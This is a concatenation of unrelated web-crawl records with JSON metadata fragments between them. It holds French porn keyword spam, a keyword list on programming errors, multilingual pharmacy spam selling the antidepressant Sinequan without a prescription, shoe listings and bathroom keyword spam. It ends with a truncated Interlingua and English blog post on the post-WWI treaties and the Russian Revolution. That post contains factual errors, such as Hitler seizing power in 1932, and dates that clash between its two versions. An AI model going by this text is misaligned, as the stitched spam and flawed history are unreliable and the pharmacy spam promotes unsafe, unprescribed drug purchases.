sexe videos gratuite black , sexe black videos gratuite , videos gratuite de sexe black , videos gratuite sexe extreme , videos de sexe asiatique gratuite , videos gratuite sexe pucelle asiatique , videos sexe secretaire gratuite , videos gratuite sans telechargement sexe , videos gratuite sexe sans telechargement , videos du jour sexe gratuite , sexe videos jour gratuite , videos gratuite sexe du jour , une videos gratuite par jour sexe , sexe videos gratuite du jour , videos du jour gratuite sexe , videos gratuite sexe lesbienne , sexe photo videos gratuite sans inscription , sexe photo videos gratuite belge , photo videos gratuite de sexe , annuaire sexe videos photo gratuite , sexe photo videos gratuite movie clip , sexe photo videos gratuite suisse scene plaisir , portail sexe videos photo gratuite , sexe photo videos gratuite belge scene , belge sexe photo videos gratuite movie clip , longue videos gratuite sexe , sexe videos longue gratuite , demo gratuite videos sexe , telechargement gratuite de videos sexe , sexe videos gratuite telechargement , sexe videos courte gratuite , videos sexe gratuite a voir , videos gratuite sans telechargement de sexe , videos gratuite de sexe sans telechargement , voir videos gratuite sexe , telecharge videos sexe gratuite , videos and gratuite and and sexe , videos sexe black gratuite , videos gratuite sexe asiatique , demo videos sexe gratuite , sexe videos gratuite lesbienne , telechargement videos sexe gratuite , videos courte gratuite sexe , voir videos sexe gratuite , photo et videos gratuite sexe , videos gratuite sur sexe , videos and and sexe and gratuite , videos porno gratuite sexe avec videos porno gratuite femme , videos porno sexe gratuite , videos gratuite hard sexe , videos gratuite sexe hard non censure , sexe videos hard gratuite , hard sexe videos gratuite , voir videos gratuite sur sexe , videos sexe courte et gratuite , videos longue et gratuite sexe , videos sexe gratuite jeune et vieux , videos sexe gratuite et sans inscription , sexe photo et videos gratuite , sexe gratuit et videos gratuite , videos sexe gratuite et ligne , photo et videos de sexe gratuite , videos vraiment gratuite sexe , gay sexe videos gratuite , videos sexe entierement gratuite telecharger , videos and gratuite and sexe and telecharger , videos sexe telecharger gratuite , videos gratuite telecharger sexe , videos gratuite sexe telecharger , telecharger videos gratuite sexe , sexe videos gratuite telecharger , videos sexe gratuite telecharger , videos sexe gratuite amateur mois , videos and and sexe and amateur and gratuite , sexe videos gratuite amateur , petite videos sexe amateur gratuite , sexe videos amateur gratuite , extrait videos tres sexe gratuite , petite videos gratuite extrait sexe mpeg , telecharger extrait videos sexe gratuite , extrait videos gratuite sexe telecharger gratuitement , videos sexe gratuite avec extrait , sexe hard extrait videos gratuite\n\n\nvideos gratuite sexe gratuit\n\n\ntelecharger videos gratuite sexe\n\n\ntelechargement videos gratuite sexe\ntelechargement_kazaa telechargement_logiciel_gratuit telechargement_logiciel telechargement_logiciels_gratuit telechargement_msn_7_5 telechargement_msn_plus telechargement_musique_gratuite telechargement_musique_mp3 telecharger_les_sims_2 telechargement_video_x video_de_cul video_gratuite_sexe video_porno_gratuit video_porno_gratuite video_porno video_sex_gratuit video_sexe_gratuite video_sexy video_x_gratuit video_x_gratuite video_xxx videos_de_cul videos_gay videos_gratuite_sexe videos_porno_gratuit videos_porno_gratuite videos_sex_gratuit videos_sexe_gratuite videos_sexy videos_x_gratuit videos_x_gratuite videos_xxx winrar xxx_video\nsexe free videos gratuite sexe vomi femme videos gratuite videos gratuite sexe gratuit grosse videos videos gratuite sexe gratuit sexe gratuit videos gratuite grosse videos grosse videos gratuite sexe gratuit videos sexe femme mature gratuite videos sexe entierement gratuite a telecharger videos sexe a telecharger gratuite videos gratuite a telecharger de sexe sexe videos gratuite black sexe black videos gratuite videos gratuite de sexe black videos gratuite sexe extreme videos de sexe asiatique gratuite videos gratuite sexe pucelle asiatique videos sexe secretaire gratuite videos gratuite sans telechargement sexe videos gratuite sexe sans telechargement videos du jour sexe gratuite sexe videos jour gratuite videos gratuite sexe du jour une videos gratuite par jour sexe sexe videos gratuite du jour videos du jour gratuite sexe videos gratuite sexe lesbienne sexe photo videos gratuite sans inscription sexe photo videos gratuite belge photo videos gratuite de sexe annuaire sexe videos photo gratuite sexe photo videos gratuite movie clip sexe photo videos gratuite suisse scene plaisir portail sexe videos photo gratuite sexe photo videos gratuite belge scene belge sexe photo videos gratuite movie clip longue videos gratuite sexe sexe videos longue gratuite demo gratuite videos sexe telechargement gratuite de videos sexe","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/telec152.en.wanadoo.es\/videos_gratuite_sexe\/","date":"2017-09-21T22:50:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818687938.15\/warc\/CC-MAIN-20170921224617-20170922004617-00494.warc.gz","language":"ina","language_score":0.6106439233,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.6106439232826233, \"lat_Latn_score\": 0.13572046160697937, \"fra_Latn_score\": 0.04041990637779236, \"nhg_Latn_score\": 0.0183845404535532, \"mfy_Latn_score\": 0.01584997959434986, \"mfe_Latn_score\": 0.014231039211153984, \"eus_Latn_score\": 0.013677525334060192, \"enm_Latn_score\": 0.011085364036262035}","num_words":1603,"character_repetition_ratio":0.304,"word_repetition_ratio":0.023,"special_characters_ratio":0.175,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":0.621,"perplexity_score":8706.6,"cluster_detection":-1} +{"text":"c interpreter run time error out of memory\nc interpreter runtime error\nc run time error\nc run time error r6025\ncomputer science runtime error\ncomputer run time error\nca run time error\ncompile time error example\ncompiler runtime error\ncompiler and runtime error\ncompiler error vs runtime error java\ncompiler error vs runtime error\ncompile-time error checking\ncompiletime error\ncompile time error and runtime error\ncompile time error java\ncompile time error java example\ncompile time v s runtime error\ncompile time error in c\ncompile time error runtime error\ncompile time error and runtime error in vb\ncompile time error definition\ncompile time error c\ncompile time error vs runtime error java\ncompilation error and runtime error in c\ncompilation error runtime error","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/umnox.com\/time-error","date":"2017-09-25T04:09:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818690318.83\/warc\/CC-MAIN-20170925040422-20170925060422-00598.warc.gz","language":"ina","language_score":0.4122249484,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4122249484062195, \"eng_Latn_score\": 0.3442898690700531, \"gom_Latn_score\": 0.04258425161242485, \"lat_Latn_score\": 0.03577506169676781, \"asm_Latn_score\": 0.03283684700727463, \"eus_Latn_score\": 0.010837126523256302}","num_words":202,"character_repetition_ratio":0.307,"word_repetition_ratio":0.041,"special_characters_ratio":0.169,"stopwords_ratio":0.153,"flagged_words_ratio":0.0,"lang_id_score":0.412,"perplexity_score":23094.4,"cluster_detection":-1} +{"text":"Canadian Pharmacy Healthcare online * Luogo sicuro per acquistare Sinequan 75 mg * Liberano Corriere Consegna\nLuogo sicuro per acquistare Sinequan 75 mg\nSito sicuro di acquistare Sinequan senza ricetta. Sinequan Generico è un farmaco antidepressivo triciclico. Viene usato nel trattamento della depressione e dell'ansia.\nValutazione 4.3 sulla base di 58 voti.\nPrezzo da €0.26 Per pillola\nprezzo Sinequan generico\nin linea Doxepin hydrochloride USA\nforo comprar Sinequan generico\nlaboratorios fabricam generico Sinequan\nIl costo di Sinequan Doxepin hydrochloride Emirati Arabi Uniti\nconveniente Doxepin hydrochloride Emirati Arabi Uniti\nAcquista 75 mg Sinequan Brasile\nAcquistare Sinequan 75 mg Regno Unito\npreço Sinequan generico drogaria pacheco\nprezzo Sinequan farmacia italiana\nA buon mercato 75 mg Sinequan Emirati Arabi Uniti\nOrdine Sinequan Austria\ngenerico Sinequan 75 mg Danimarca\ndove acquistare Sinequan originale\nfarmacia online Sinequan\nacquistare Sinequan europa\nfarmacias venden Sinequan buenos aires\ngenerico do Sinequan sollevare\nSinequan precio farmacia colombia\nbuy Zetia\ngeneric Atarax\nBillig Clopidogrel 75 mg Beställa\ngeneric Linezolid\nwww.colegioeuropeodemadrid.com\nPrezzo basso Sinequan 75 mg Danimarca\nprezzo Sinequan in farmacia italia\nbasso costo Sinequan 75 mg Grecia\ncomprar Sinequan en las farmacias\nOrdine Doxepin hydrochloride Spagna\nPrezzo basso 75 mg Sinequan Austria\ncompra Sinequan generico online\nOrdine Doxepin hydrochloride Stati Uniti\ngenerico Sinequan Danimarca\ncomprar Sinequan generico en mexico\nmigliore Sinequan generico\nvenden Sinequan en la farmacia sin receta\ncomprar Sinequan generico malaga\ncomprar Sinequan generico por paypal\nSinequan costi farmacia\nPrezzo Doxepin hydrochloride Belgio\nsito sicuro acquisto Sinequan\nAcquista Sinequan Singapore\ngenerico 75 mg Sinequan Repubblica Ceca\nOrdine 75 mg Sinequan Regno Unito\nquanto costa Sinequan generico\nacquisto Sinequan generico in italia\nAcquistare Sinequan Doxepin hydrochloride Grecia\nSinequan comprar en farmacia\nconveniente Doxepin hydrochloride Stati Uniti\nPrezzo Sinequan Grecia\nA buon mercato 75 mg Sinequan Danimarca\ncuanto cuesta Sinequan farmacias guadalajara\nin linea Sinequan Stati Uniti\nSinequan generico costa rica\nfarmacia italiana Sinequan\nin linea Sinequan 75 mg Australia\nPrezzo 75 mg Sinequan Finlandia\nprecio Sinequan generico peru\nin linea Sinequan 75 mg Finlandia\ngenerico Sinequan Doxepin hydrochloride Brasile\ncos è il Sinequan generico\nSinequan generico andorra\nPrezzo 75 mg Sinequan Polonia\nOrdine Doxepin hydrochloride Danimarca\nOrdine Doxepin hydrochloride USA\nSinequan generico prezzo farmacia\ncompra Sinequan generico españa\nPrezzo basso Sinequan Brasile\nin linea Sinequan Tacchino\nconveniente Doxepin hydrochloride Polonia\ncomprar Sinequan generico goiania\nque es Sinequan generico\nvenden Sinequan farmacias similares\ncuanto cuesta el Sinequan en farmacias argentinas\nSconto Sinequan 75 mg Israele\nprecio del Sinequan generico en mexico\nSinequan generico acquisto sicuro\nin linea 75 mg Sinequan Croazia\ncomprar Sinequan generico em portugal\nPrezzo Sinequan Olanda\nin linea Sinequan 75 mg Italia\nAcquistare 75 mg Sinequan\nA buon mercato 75 mg Sinequan Francia\nSconto Sinequan 75 mg Francia\nvenden Sinequan en las farmacias sin receta\nQuanto costa Sinequan Giappone\nSinequan 75 mg once a day generico\nbasso costo Sinequan Svizzera\nQuanto costa 75 mg Sinequan Polonia\nAcquista Sinequan 75 mg Portogallo\nAcquista Sinequan Tacchino\nOrdine 75 mg Sinequan Europa\nse puede comprar Sinequan sin receta medica en farmacia en españa\nprezzo Sinequan 75 mg farmacia\ngenerico Sinequan 75 mg Canada\nopiniones comprar Sinequan generico\ngenerico Sinequan Austria\nPrezzo Sinequan 75 mg Grecia\nSconto 75 mg Sinequan Spagna\ngenerico do Sinequan r$\nPrezzo basso 75 mg Sinequan Danimarca\nconveniente Doxepin hydrochloride Canada\ngenerico de Sinequan en mexico\nacquista Sinequan generico online\ngenerico Sinequan 75 mg UK\nSinequan once a day generico\nin linea Doxepin hydrochloride Grecia\nAcquistare Doxepin hydrochloride Svizzera\nSinequan generico sublinguale\nbuy Kamagra Oral Jelly\nbuy Accutane\nbuy Aggrenox\ngeneric Accutane\nbuy Cytotec\nPXyVRfj","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.colegioeuropeodemadrid.com\/en\/canadian-pharmacy-healthcare-online-luogo-sicuro-per-acquistare-sinequan-75-mg-liberano-corriere-consegna\/","date":"2017-09-25T22:09:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818693459.95\/warc\/CC-MAIN-20170925220350-20170926000350-00052.warc.gz","language":"ina","language_score":0.3369342387,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.33693423867225647, \"ita_Latn_score\": 0.13950087130069733, \"lat_Latn_score\": 0.13350838422775269, \"eus_Latn_score\": 0.09707093238830566, \"ile_Latn_score\": 0.04715545475482941, \"mlt_Latn_score\": 0.022376885637640953, \"scn_Latn_score\": 0.01851820759475231, \"kiu_Latn_score\": 0.01703881472349167, \"nld_Latn_score\": 0.015029826201498508, \"lij_Latn_score\": 0.014744993299245834, \"vec_Latn_score\": 0.012205646373331547, \"por_Latn_score\": 0.01104648131877184, \"fin_Latn_score\": 0.010379890911281109, \"lvs_Latn_score\": 0.010006510652601719}","num_words":1220,"character_repetition_ratio":0.202,"word_repetition_ratio":0.021,"special_characters_ratio":0.16,"stopwords_ratio":0.026,"flagged_words_ratio":0.0,"lang_id_score":0.177,"perplexity_score":29243.3,"cluster_detection":-1} +{"text":"Ippon Vintage SONG GARDEN Bailarinas rojo\nIppon Vintage ZOOMDIAMONDS Zapatos con cordones gris\nIppon Vintage ZOOMDIAMONDS Zapatos con cordones verde\nIppon Vintage ZOOMGARDEN Zapatos de vestir blanco\nIppon Vintage ZOOM GARDEN Zapatos de vestir verde\nIppon Vintage SUN Botines blanco\nIppon Vintage SUN Botines bajos marrón\nIppon Vintage SUN Botines azul\nIppon Vintage SPACE Botines con cordones beige\nIppon Vintage HYPSPACE Zapatos con cordones azul\nIppon Vintage Botines dorado\nIppon Vintage HYPFLORAL Botines bajos blanco","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/ropalia.com\/gb\/33-ropa-premama","date":"2018-01-16T21:42:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886739.5\/warc\/CC-MAIN-20180116204303-20180116224303-00732.warc.gz","language":"ina","language_score":0.4040898979,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"ina_Latn_score\": 0.40408989787101746, \"spa_Latn_score\": 0.1737268567085266, \"bew_Latn_score\": 0.11227352917194366, \"nld_Latn_score\": 0.04072941467165947, \"ckm_Latn_score\": 0.02731741964817047, \"cbk_Latn_score\": 0.022481875494122505, \"por_Latn_score\": 0.019235430285334587, \"lim_Latn_score\": 0.014098514802753925, \"fin_Latn_score\": 0.010439744219183922, \"ron_Latn_score\": 0.010108226910233498}","num_words":140,"character_repetition_ratio":0.227,"word_repetition_ratio":0.061,"special_characters_ratio":0.142,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.451,"perplexity_score":35091.6,"cluster_detection":-1} +{"text":"grande surface salle de bain petites nos la.\nawesome gran surface images interior grande salle de bain,grande surface salle de bain transformer cabinet toilette en e gran,grande surface salle de bain gran , grand must pour la grande surface salle de bain, grande surface salle de bain petite plans,grande surface salle de bain gran, l petite nest plus grande surface salle de bain, grande surface salle de bain la, grande surface salle de bain gran,mini surface budget ma grande salle de bain","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/tristao.me\/salle-de-bain-grande-surface\/grande-surface-salle-de-bain-petites-nos-la\/","date":"2018-01-19T17:44:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084888077.41\/warc\/CC-MAIN-20180119164824-20180119184824-00724.warc.gz","language":"ina","language_score":0.3827733397,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.38277333974838257, \"fra_Latn_score\": 0.3786901533603668, \"mwl_Latn_score\": 0.024216223508119583, \"wes_Latn_score\": 0.01790294609963894, \"rmq_Latn_score\": 0.01749044470489025, \"gul_Latn_score\": 0.016059571877121925, \"nrm_Latn_score\": 0.013878275640308857, \"pcd_Latn_score\": 0.013663465157151222, \"glg_Latn_score\": 0.01222910638898611, \"knc_Latn_score\": 0.011209074407815933}","num_words":132,"character_repetition_ratio":0.323,"word_repetition_ratio":0.13,"special_characters_ratio":0.185,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":0.383,"perplexity_score":4497.9,"cluster_detection":-1} +{"text":"Monday, January 19, 2009\nHistoria del seculo vinti, Parte 4\n(Languages of this post: Interlingua, English)\nLe organization del pace:\nLe doctrina del Presidente Wilson:\nLe 8 januario de 1919 le presidente statounitese Woodrow Wilson presentava al mundo un programma idealiste que respondeva al generalisate desiro pro le pace inter omne le populos qui habeva sufferite le disastro del guerra. Le parte central de su programma esseva 14 (dece quatro) punctos que summarisava conditiones international post le guerra e offereva un possibile reorganisation del systema international que evitarea un secunde e simile guerra disastrose.\nWilson voleva le recognoscimento international del independentia del paises occupate per Germania, le admission del principio del autodetermination del nationalitates, e le establimento de un organismo international que regularea relationes international e que garantirea le independentia e equalitate de omne le nationes, eliminante omne relationes diplomatic secrete, que habeva essite le causa de multe conflictos international.\nIlle anque voleva pro omnes un garantia del libre navigation per le mares del mundo (puncto secunde) e le suppression de omne barrieras economic in le intercambio commercial (puncto tertie).\nAltere punctos tractava relationes international general, como le juste regulation de affaires colonial (puncto quinte) e le disposition del territorios occupate per Germania. Ille voleva que le germanos evacuava Romania, Serbia, Montenegro, e Belgio. Quanto a Austria e Turchia, ille voleva le independentia pro le populationes diverse que iste paises habeva annexate. E quanto a Polonia, ille voleva garantias de su independentia.\nLe francese Clemenceau voleva consolidar le victoria del alliatos sur le germanos, debilitante Germania permanentemente de maniera que illo nunquam poterea menaciar Francia.\nLe prime ministro britannic, Lloyd George, voleva eliminar le competition de Germania contra Anglaterra como potentia naval e colonialiste e restablir un equilibrio politic inter le paises europee pro assecurar que Francia nunquam poterea attaccar Anglaterra.\nLe italiano Orlando voleva assecurar le dissolution del imperio austrohungare e assecurar que nulle pais poterea menaciar le frontieras nord de Italia.\nLe tractatos de Paris:\nDurante januario, 1919--solmente unes pauc dies post le publication mundial del programma de Wilson--comenciava in Paris un elaborate conferentia de pace que excludeva le paises vincite. Iste conferentia includeva Japon, ma Wilson, Clemenceau, Lloyd George, e Orlando esseva le architectos de un serie de tractatos que establiva un nove structura politic inter le paises europee.\nPost longe negotiationes, le conferentia produceva cinque pactos differente. Clemenceau esseva le architecto principal del Tractato de Versailles, que regulava relationes inter le alliatos e germania in 453 articulos, le quales le germanos nominava un \"Diktat\" pro le severitate exceptional del demandas del alliatos contra Germania. Il anque habeva quatro altere tractatos: (1) de San Germain con Austria, (2) Neuilly con Bulgaria, (3) Trianon con Hungria, e (4) Sevres, con le Imperio Ottoman.\nForsan le cambios le plus spectacular esseva le dismembramento del Imperio Austrohungare, que le familia Hapsburg habeva unificate plus o minus precarimente sub le controlo austriac. On declarava que Austria esserea un republica, e Hungria Checoslovachia, Polonia, e Yugoslavia emergeva como nationes independente. Austria anque debeva ceder a Italia le Tirol del Sud, Trieste, Istria, parte de Dalmatia, Carynthia, e Carniola.\nLe alliatos anque dismembrava le Imperio Ottoman e anque voleva facer disparer Turchia como un pais independente, convertiente lo in un specie de protectorate de un del grande potentias vincente. Ma, a causa de lor fortissime nationalismo, le turcos preservava lor independentia al grande surprisa del altere paises de Europa.\nLe Tractato de Sevres obligava que Turchia perdeva le major parte del territorios que illo habeva controlate, ma le Tractato de Lausanne, signate in 1923, permitteva que le turcos recuperava le Thracia oriental. Russia debeva abandonar Polonia, Lithuania, Estonia, Letonia, e Finlandia, que tunc deveniva statos independente. Ma plus tarde in le Tractato de Brest-Livotsk, Russia cedeva al germanos practicamente omne su territorios europee.\nLe Tractato de Versailles restitueva Alsace e Lorraine a Francia, Schleswig norte a Danmark, le Prussia polonese a Polonia, e Eupen e Malmedy a Belgio.\nIste tractato anque obligava que le germanos cedeva al Societate de Nationes omne lor colonias e le administration del Saar, cuje minas esserea exploitate per Francia durante un periodo de 15 (dece cinque) annos.\nLe germanos anque debeva demilitarisar le litore dextre del Rheno, e postea le alliatos lo occupava. Germania anque debeva dar al alliatos abundante material de guerra; 25% (vinti cinque pro cento) de su flotta de pisca, quantitates diverse de lor carbon e bestial, locomotivas, wagones, e altere productos industrial.\nLe germanos anque debeva pagar al alliatos 269.000.000.000 (duo centos sexanta nove billiones) marcos oro in quaranta-duo annos, reducer lor armea a 100.000 (cento mille) homines, e eliminar le servicio militar obligatori.\nIn Europa on establiva novem statos nove, Polonia, Finlandia, Estonia, Lithuania, Checoslovachia, Yugoslavia, e anque le republicas de Austria e Hungria, secundo le principio de autodetermination del presidente Wilson. Iste principio haberea resonantia foras de Europa, stimulante movimentos de independentia in le colonias de altere potentias europee.\nLe Societate de Nationes (SDN):\nLe SDN, un organisation cuje fin primordial esseva conservar le pace e le ordine international, esseva establite durante le conferentia de Versailles a causa del influentia del presidente Wilson. Su prime membros esseva le vincitores del Prime Guerra Mundial, le sol potentias que habeva un derecto a participar in le conferentia, ma le Statos Unite non se faceva parte del SDN proque le senato statounitese non approbava le tractato que lo establiva.\nLe paises vincite durante le guerra non voleva formar parte del SDN proque illo esseva un organismo controlate per le paises vincitor, le quales voleva mantener le status quo establite per le diverse tractatos signate in Paris. Le SDN anque non habeva le fortias armate necesse pro imponer su decisiones in casos de conflicto inter su membros. Le SDN tamen habeva unes victorias symbolic, pro exemplo post le congresso de Locarno (1925 [mille nove centos vinti e cinque]), que resultava in un dialogo incoragiante inter paises traditionalmente hostile, como Germania e Francia.\nLe quatro annos sequente reduceva le differentias inter le alliatos e Germania, producente eventualmente le Republica de Weimar, que se jungeva al SDN, signante un nove tractato de pace francogerman, que terminava le occupation del Rheno per le alliatos.\nMa le SDN non poteva impedir le invasion de China per Japon in 1931 e le invasion italian de Abysinia (nunc Ethiopia). Post que Hitler sasiva le governamento de Germania in 1932, Germania e altere paises abandonava le SDN, e in pauc tempore le SDN disintegrava completemente.\nLe Russia czariste e le movimento socialiste:\nLe revolution de octobre, 1917 (mille novecentos dece septe), habeva pro Russia etiam plus importantia que le Guerra Mundial mesme, e su effectos esserea enorme etiam pro le resto del mundo.\nIn le annos ante le guerra le governamentos del paises occidental con forte economias industrial--como Anglaterra, Francia, e Germania--habeva observate con timor le evolution del socialismo, cuje crescente talentos pro organisar movimentos de protesta menaciava le traditional establimentos economic e politic del paises industrialisate. Le proletariato de iste paises constantemente augmentava e se jungeva al socialistas, qui deveniva un fortia politic de plus in plus menaciante.\nLe conditiones del Russia czariste esseva quasi medieval in multe partes del pais, e su industrialisation esseva primitive comparate al progresso industrial de paises como le Statos Unite e le paises industrialisate del Europa occidental. Le proletariato russe se concentrava in nucleos insulate circumferite per un grande massa de paisanos liberate del feudalismo solmente ante un seculo.\nIn lor guerra pro occupar Manchuria, le Russos non poteva prevaler contra un Japon fortemente industrialisate, e il deveniva evidente que le governamento de Nicholas II non poteva ni defender le pais multo ben de menacias exterior ni provider multo facilemente le necessitates basic de su population. E durante le Prime Guerra Mundial, Germania e Austria anque voleva destabilisar le governamento de Russia e tacitemente adjuvava le revolutonarios russe.\nLenin e le Ascension Bolchevic:\nLenin, exiliate in Switza, retornava a Russia e lanceava un campania pro \"pace, terra, e pan\". Ille habeva un capacitate extraordinari pro attraher crescente numeros ex le massas de Russia al programma bolcheviste.\nIn julio le governamento russe, timente un complot, moveva aggressivemente contra le bolchevicos, imprisionante Leon Trotsky, qui habeva retornate de su exilio in le Statos Unite.\nLenin tunc se videva obligate a passar al clandestinitate. Le 9 de augusto le menchevico Kerenski esseva nominate le chef del governamento. Le menshevicos esseva socialistas qui preferiva reformas moderate e gradual al programma drastic e radical del bolchevicos.\nLe octobre rubie:\nPost disputas apsere, Lenin convinceva le Committee Central de su partito del necessitate del insurrection armate. Leon Trotsky formava le strategia pro le lucta e lo dirigeva. Ille projectava occupar Petrogrado e le Palatio de Hiberno, le sede del governamento provisional.\nLe menchevicos habeva formate le Committee del Defensa del Revolution, que debeva occupar se del securitate de un nove governamento socialiste contra intentos de un colpo reactionari post que le fortias militar regular de Petrogrado habeva essite inviate al fronte de guerra, e le bolchevicos tosto poteva sasir iste committee e converter lo a lor proprie scopos.\nLe 24 de octobre le governamento de Karenski discoperiva le manovras del bolchevicos e declarava un stato de assedio, ma le fortias del menchevicos non esseva assatis grande pro frustrar le intentiones del bolchevicos, qui sasiva omne poter politic con un minime perdita de vita.\nOccupate le edificios principal del urbe, le Palatio de Hiberno cadeva le die sequente (7 [le septe] de novembre in le calendario occidental).\nLe bolchevicos immediatemente assembleva le Secunde Congresso del Soviets e formava un Consilio de Commissarios del Populo, presidite per Lenin, qui promulgava un declaration de armistitio e del abolition del proprietate private del terra in omne le territorios russe.\nDel assemblea constituente al guerra civil:\nUn mense postea le bolchevicos organisava le Assemblea Constituente, que includeva representantes de omne le Russias. Le bolchevicos obteneva solmente 24% (vinti e quatro pro cento) del votos, ma conjunctemente con le votos de lor alliatos, Lenin e su compatriotas assembleva un majoritate absolute. Le resultato de iste maniovras esseva un guerra civil contra le cossacos e un armea de voluntarios, que se formava con le adjuta generose de Anglaterra e Francia.\n---\nOrganizing the Peace:\nPresident Wilson's Doctrine:\nOn January 18, 1919 (nineteen nineteen), the American president Woodrow Wilson presented to the world an idealistic program that responded to the generalized desire for peace among all the people who had suffered from the disaster of the war. Central to his program were the fourteen points that summarized international conditions after the war and offered a possible reorganization of the international system that would avoid a second and similar disastrous war.\nWilson wanted international recognition of the independence of the countries occupied by Germany, the approval of the principle of self-determiination for different nationalities, and the establishment of an international organization that would regulate international relations and that would guarantee the independence and equality of all nations, eliminating all secret diplomatic relations, which had been the cause of many international conflicts.\nHe also wanted for everyone a guarantee of free navigation throughout the oceans of the world (Point 2) and the suppression of all economic barriers in commercial exchange (Point 3).\nOther points dealt with general international relations, such as the fair regulation of colonial affairs (Point 5) and the fate of the teritories occupied by Germany. He wanted the Germans to evacuate Romania, Serbia, Montenegro, and Belgium. Regarding Austria and Turkey, he wanted independence for the different populations that these countries had annexed. And regarding Poland, he wanted guarantees of its independence.\nClemenceau of France wanted to consolidate the victory of the allies over the Germans, weakening Germany permanently so that it would never be able to menace France.\nThe British prime minister, Lloyd George, wanted the elimination of German naval and colonial competition against England and the the re-establishment of a political equilibrium among the European countries to assure that France would never be able to attack England.\nOrlando of Italy wanted to assure the dissolution of the Austro-Hungarian empire and assure that no country would ever be able to attack Italy.\nThe Paris Treaties:\nIn January 1919 (nineteen nineteen)--only a few days after the world-wide publication of Wilson's program--Paris became the site of an elaborate peace conference that would exclude the conquered countries. This conference included Japan, but Wilson, Clemenceau, Lloyd Geroge, and Orlando were the architects of a series of treaties that established a new political structure among the European countries.\nAfter lengthy negotiations, the conference produced five different pacts. Clemenceau was the principal architect of the Treaty of Versailles, which regulated relations between the Allies and Germany in 453 articles, which the Germans called a \"Diktat\" because of the exceptional severity of the Allies' demands on Germany. There also were four other treaties: (1) San Germain, (2) Neuilly with Bulgaria; (3) Trianon with Hungary, and (4) Sevres, with the Ottoman Empire.\nPerhaps the most spectacular changes involved breaking up the Austro-Hungarian Empire, which the Hapsburg family had unified more or less precariously under the control of Austria. Austria was declared to be a republic, and Hungary, Czechoslovakia, Poland, and Yugoslavia emerged as independent nations. Austria also had to cede to Italy the Southern Tirol, Trieste, Istria, part of Dalmatia, Carynthia, and Carniola.\nThe Allies also dismembered the Ottoman Empire and also wanted to dismantle Turkey as an independent country, converting it into a sort of protectorate of one of the great conquering powers. But, because of their very strong nationalism, the Turks preserved their independence to the great surprise of the other countries of Europe.\nThe Treaty of Sevres obliged Turkey to give up most of the territories that it had controlled, but the Treaty of Lausanne, signed in 1923, allowed the Turks to recover Eastern Thrace. Russia had to abandon Poland, Lithuania, Estonia, Latvia, and Finland, which then became independent states. But later on in the Treaty of Brest-Livotsk, Russia ceded to the Germans all its European territories.\nThe Treaty of Versailles restored Alsace and Lorraine to France, North Schleswig to Denmark, Polish Prussia to Poland, and Eupen and Malmedy to Belgium.\nThis treaty also obliged the Germans to cede to the League of Nations all their colonies and the administration of the Saar, whose mines were to be exploited by France for a period of fifteen years.\nThe Germans also had to demilitarize the right side of the Rhine, and afterwards the Allies occupied it. Germany also had to give to the Allies abundant war materiel; 25% (twenty-five percent) of its fishing fleet, various quantities of their coal and cattle, locomotives, rolling stock, and other different products of industry.\nThe Germans also had to pay the Allies 269,000,000,000 (two hundred sixty-nine billion) gold marks in forty-two years, reduce their army to 100,000 (one hundred thousand) men, and eliminate military conscription.\nIn Europe nine new states were established, Poland, Finland, Estonia, Lithuania, Czechoslovakia, Yugoslavia, as well as the republics of Austria and Hungary, according to President Wilson's principle of self-determination. This principle would resonate outside Europe, stimulating independence movements in the colonies of the other European powers.\nThe League of Nations:\nThe League of Nations, an organization whose most important goal was to maintain international peace and order, was established during the Versailles conference because of President Wilson's influence. Its first members were the winners in the First World War, the only powers that had a right to participate in the conference, but the United States did not join the League because the American senate did not approve the treaty that established it.\nThe countries that were defeated in the war did not want to join the League of Nations because it was an organization controlled by the conquering countries, which wanted to maintain the status quo established by the various treaties signed in Paris. The League also did not have the armed forces needed to impose its decisions in cases of conflict between its members. It had some symbolic victories, however, for example after the Congress of Locarno (1925 [nineteen twenty-five]), which resulted in an encouraging dialogue among traditionally hostile countries, like Germany and France.\nThe next four years reduced the differences between the allies and Germany, producing eventually the Weimar Republic, which joined the League of Nations, signing a new peace treaty with the French, which ended the occupation of the Rhine by the allies.\nBut the League was not able to stop the invasion of China by Japan in 1931 and the Italian invasion of Abyssinia (now Ethiopia). After Hitler seized the government of Germany in 1932, Germany and other countries left the League, and shortly afterward it completely disintegrated.\nCzarist Russia and the Socialist Movement:\nThe revolution of October, 1917 (nineteen seventeen), was even more important for Russia than the World War itself, and its effects would be enormous even for the rest of the world.\nIn the years before the war the governments of the Western countries that had strong economies--like England, France, and Germany--had worried greatly as they followed the evolution of socialism, whose growing talents for organizing protest movements menaced the traditional political and economic establishments of the industrialized countries. The proletariat of these countries grew constantly and joined the socialists, who became an ever more menacing political force.\nConditions in czarist Russia were almost medieval in many parts of the country, and Russian industrialization was primitive compared with the industrial progress of countries like the United States and the industrialized countries of Western Europe. The members of the Russian proletariat were concentrated in isolated centers surrounded by a great mass of peasants liberated from feudalism only a century earlier.\nIn their war to occupy Manchuria, the Russians were not able to prevail against a strongly industrialized Japan, and it became evident that the government of Nicholas II would not be able either to defend the country very well from foreign threats or provide very easily the basic necessities of its population. And during the First World War, Germany and Austria also wanted to destabilize the government of Russia and tacitly helped out the Russian 